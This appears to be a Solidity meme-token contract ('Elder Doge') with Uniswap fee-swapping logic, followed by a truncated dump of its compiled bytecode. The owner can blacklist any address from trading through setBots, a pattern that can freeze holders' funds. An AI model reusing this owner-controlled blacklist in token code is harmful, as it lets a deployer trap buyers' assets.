OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract LordeToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Elder Doge"; string private constant _symbol = unicode"LordeEdge Inu"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen = false; bool private _noTaxMode = false; bool private inSwap = false; uint256 private walletLimitDuration; struct User { uint256 buyCD; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { require(!_bots[from] && !_bots[to]); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); if (walletLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(2).div(100)); } } uint256 contractTokenBalance = balanceOf(address(this)); if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(5).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(5).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || _noTaxMode){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); tradingOpen = true; walletLimitDuration = block.timestamp + (60 minutes); } function setMarketingWallet (address payable marketingWalletAddress) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[_marketingWalletAddress] = false; _marketingWalletAddress = marketingWalletAddress; _isExcludedFromFee[marketingWalletAddress] = true; } function excludeFromFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = true; } function includeToFee (address payable ad) external { require(_msgSender() == _FeeAddress); _isExcludedFromFee[ad] = false; } function setNoTaxMode(bool onoff) external { require(_msgSender() == _FeeAddress); _noTaxMode = onoff; } function setTeamFee(uint256 team) external { require(_msgSender() == _FeeAddress); require(team <= 7); _teamFee = team; } function setTaxFee(uint256 tax) external { require(_msgSender() == _FeeAddress); require(tax <= 1); _taxFee = tax; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _bots[bots_[i]] = true; } } } function delBot(address notbot) public onlyOwner { _bots[notbot] = false; } function isBot(address ad) public view returns (bool) { return _bots[ad]; } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063c3c8cd801161008a578063cf0848f711610064578063cf0848f7146104fb578063db92dbb614610524578063dd62ed3e1461054f578063e6ec64ec1461058c57610171565b8063c3c8cd80146104a4578063c4081a4c146104bb578063c9567bf9146104e457610171565b806370a0823114610394578063715018a6146103d15780638da5cb5b146103e857806395d89b4114610413578063a9059cbb1461043e578063b515566a1461047b57610171565b8063313ce56711610123578063313ce5671461029a5780633bbac579146102c5578063437823ec146103025780634b740b161461032b5780635d098b38146103545780636fc3eaec1461037d57610171565b806306fdde0314610176578063095ea7b3146101a157806318160ddd146101de57806323b872dd14610209578063273123b71461024657806327f3a72a1461026f57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105b5565b6040516101989190613285565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612daf565b6105f2565b6040516101d5919061326a565b60405180910390f35b3480156101ea57600080fd5b506101f3610610565b6040516102009190613407565b60405180910390f35b34801561021557600080fd5b50610230600480360381019061022b9190612d5c565b610621565b60405161023d919061326a565b60405180910390f35b34801561025257600080fd5b5061026d60048036038101906102689190612c95565b6106fa565b005b34801561027b57600080fd5b506102846107ea565b6040516102919190613407565b60405180910390f35b3480156102a657600080fd5b506102af6107fa565b6040516102bc919061347c565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612c95565b610803565b6040516102f9919061326a565b60405180910390f35b34801561030e57600080fd5b5061032960048036038101906103249190612cef565b610859565b005b34801561033757600080fd5b50610352600480360381019061034d9190612e38565b610915565b005b34801561036057600080fd5b5061037b60048036038101906103769190612cef565b610993565b005b34801561038957600080fd5b50610392610b0a565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190612c95565b610b7c565b6040516103c89190613407565b60405180910390f35b3480156103dd57600080fd5b506103e6610bcd565b005b3480156103f457600080fd5b506103fd610d20565b60405161040a919061319c565b60405180910390f35b34801561041f57600080fd5b50610428610d49565b6040516104359190613285565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190612daf565b610d86565b604051610472919061326a565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190612def565b610da4565b005b3480156104b057600080fd5b506104b9610fb4565b005b3480156104c757600080fd5b506104e260048036038101906104dd9190612e92565b61102e565b005b3480156104f057600080fd5b506104f96110a7565b005b34801561050757600080fd5b50610522600480360381019061051d9190612cef565b6115d2565b005b34801561053057600080fd5b5061053961168e565b6040516105469190613407565b60405180910390f35b34801561055b57600080fd5b5061057660048036038101906105719190612d1c565b6116c0565b6040516105839190613407565b60405180910390f35b34801561059857600080fd5b506105b360048036038101906105ae9190612e92565b611747565b005b60606040518060400160405280600a81526020017f456c64657220446f676500000000000000000000000000000000000000000000815250905090565b60006106066105ff6117c0565b84846117c8565b6001905092915050565b6000683635c9adc5dea00000905090565b600061062e848484611993565b6106ef8461063a6117c0565b6106ea85604051806060016040528060288152602001613b8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106a06117c0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fe59092919063ffffffff16565b6117c8565b600190509392505050565b6107026117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461078f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078690613347565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006107f530610b7c565b905090565b60006009905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089a6117c0565b73ffffffffffffffffffffffffffffffffffffffff16146108ba57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109566117c0565b73ffffffffffffffffffffffffffffffffffffffff161461097657600080fd5b80601060156101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109d46117c0565b73ffffffffffffffffffffffffffffffffffffffff16146109f457600080fd5b600060056000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b4b6117c0565b73ffffffffffffffffffffffffffffffffffffffff1614610b6b57600080fd5b6000479050610b7981612049565b50565b6000610bc6600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612144565b9050919050565b610bd56117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5990613347565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600d81526020017f4c6f7264654564676520496e7500000000000000000000000000000000000000815250905090565b6000610d9a610d936117c0565b8484611993565b6001905092915050565b610dac6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090613347565b60405180910390fd5b60005b8151811015610fb057601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610e9157610e906137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610f255750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f0457610f036137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b15610f9d57600160066000848481518110610f4357610f426137d6565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b8080610fa89061372f565b915050610e3c565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ff56117c0565b73ffffffffffffffffffffffffffffffffffffffff161461101557600080fd5b600061102030610b7c565b905061102b816121b2565b50565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106f6117c0565b73ffffffffffffffffffffffffffffffffffffffff161461108f57600080fd5b600181111561109d57600080fd5b8060098190555050565b6110af6117c0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390613347565b60405180910390fd5b601060149054906101000a900460ff161561118c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611183906133c7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061121c30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006117c8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561126257600080fd5b505afa158015611276573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061129a9190612cc2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156112fc57600080fd5b505afa158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612cc2565b6040518363ffffffff1660e01b81526004016113519291906131b7565b602060405180830381600087803b15801561136b57600080fd5b505af115801561137f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a39190612cc2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061142c30610b7c565b600080611437610d20565b426040518863ffffffff1660e01b815260040161145996959493929190613209565b6060604051808303818588803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906114ab9190612ebf565b505050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161154d9291906131e0565b602060405180830381600087803b15801561156757600080fd5b505af115801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f9190612e65565b506001601060146101000a81548160ff021916908315150217905550610e10426115c9919061353d565b60118190555050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166116136117c0565b73ffffffffffffffffffffffffffffffffffffffff161461163357600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006116bb601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886117c0565b73ffffffffffffffffffffffffffffffffffffffff16146117a857600080fd5b60078111156117b657600080fd5b80600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182f906133a7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189f906132e7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119869190613407565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613387565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6a906132a7565b60405180910390fd5b60008111611ab6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aad90613367565b60405180910390fd5b611abe610d20565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611b2c5750611afc610d20565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f0b57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bd55750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bde57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c895750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cdf5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9b57601060149054906101000a900460ff16611d33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2a906133e7565b60405180910390fd5b426011541115611d9a576000611d4883610b7c565b9050611d7a6064611d6c6002683635c9adc5dea0000061243a90919063ffffffff16565b6124b590919063ffffffff16565b611d8d82846124ff90919063ffffffff16565b1115611d9857600080fd5b505b5b6000611da630610b7c565b9050601060169054906101000a900460ff16158015611e135750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e2b5750601060149054906101000a900460ff165b15611f09576000811115611eef57611e8a6064611e7c6005611e6e601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b811115611ee557611ee26064611ed46005611ec6601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b7c565b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90505b611eee816121b2565b5b60004790506000811115611f0757611f0647612049565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fb25750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611fc95750601060159054906101000a900460ff165b15611fd357600090505b611fdf8484848461255d565b50505050565b600083831115829061202d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120249190613285565b60405180910390fd5b506000838561203c919061361e565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120996002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120c4573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121156002846124b590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612140573d6000803e3d6000fd5b5050565b600060075482111561218b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612182906132c7565b60405180910390fd5b600061219561258a565b90506121aa81846124b590919063ffffffff16565b915050919050565b6001601060166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121ea576121e9613805565b5b6040519080825280602002602001820160405280156122185781602001602082028036833780820191505090505b50905030816000815181106122305761222f6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156122d257600080fd5b505afa1580156122e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061230a9190612cc2565b8160018151811061231e5761231d6137d6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061238530600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117c8565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123e9959493929190613422565b600060405180830381600087803b15801561240357600080fd5b505af1158015612417573d6000803e3d6000fd5b50505050506000601060166101000a81548160ff02191690831515021790555050565b60008083141561244d57600090506124af565b6000828461245b91906135c4565b905082848261246a9190613593565b146124aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a190613327565b60405180910390fd5b809150505b92915050565b60006124f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125b5565b905092915050565b600080828461250e919061353d565b905083811015612553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254a90613307565b60405180910390fd5b8091505092915050565b8061256b5761256a612618565b5b61257684848461265b565b8061258457612583612826565b5b50505050565b600080600061259761283a565b915091506125ae81836124b590919063ffffffff16565b9250505090565b600080831182906125fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125f39190613285565b60405180910390fd5b506000838561260b9190613593565b9050809150509392505050565b600060095414801561262c57506000600a54145b1561263657612659565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b60008060008060008061266d8761289c565b9550955095509550955095506126cb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061276085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127ac8161294e565b6127b68483612a0b565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128139190613407565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b600080600060075490506000683635c9adc5dea000009050612870683635c9adc5dea000006007546124b590919063ffffffff16565b82101561288f57600754683635c9adc5dea00000935093505050612898565b81819350935050505b9091565b60008060008060008060008060006128b98a600954600a54612a45565b92509250925060006128c961258a565b905060008060006128dc8e878787612adb565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061294683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fe5565b905092915050565b600061295861258a565b9050600061296f828461243a90919063ffffffff16565b90506129c381600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ff90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a208260075461290490919063ffffffff16565b600781905550612a3b816008546124ff90919063ffffffff16565b6008819055505050565b600080600080612a716064612a63888a61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612a9b6064612a8d888b61243a90919063ffffffff16565b6124b590919063ffffffff16565b90506000612ac482612ab6858c61290490919063ffffffff16565b61290490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612af4858961243a90919063ffffffff16565b90506000612b0b868961243a90919063ffffffff16565b90506000612b22878961243a90919063ffffffff16565b90506000612b4b82612b3d858761290490919063ffffffff16565b61290490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612b77612b72846134bc565b613497565b90508083825260208201905082856020860282011115612b9a57612b99613839565b5b60005b85811015612bca5781612bb08882612bd4565b845260208401935060208301925050600181019050612b9d565b5050509392505050565b600081359050612be381613b26565b92915050565b600081519050612bf881613b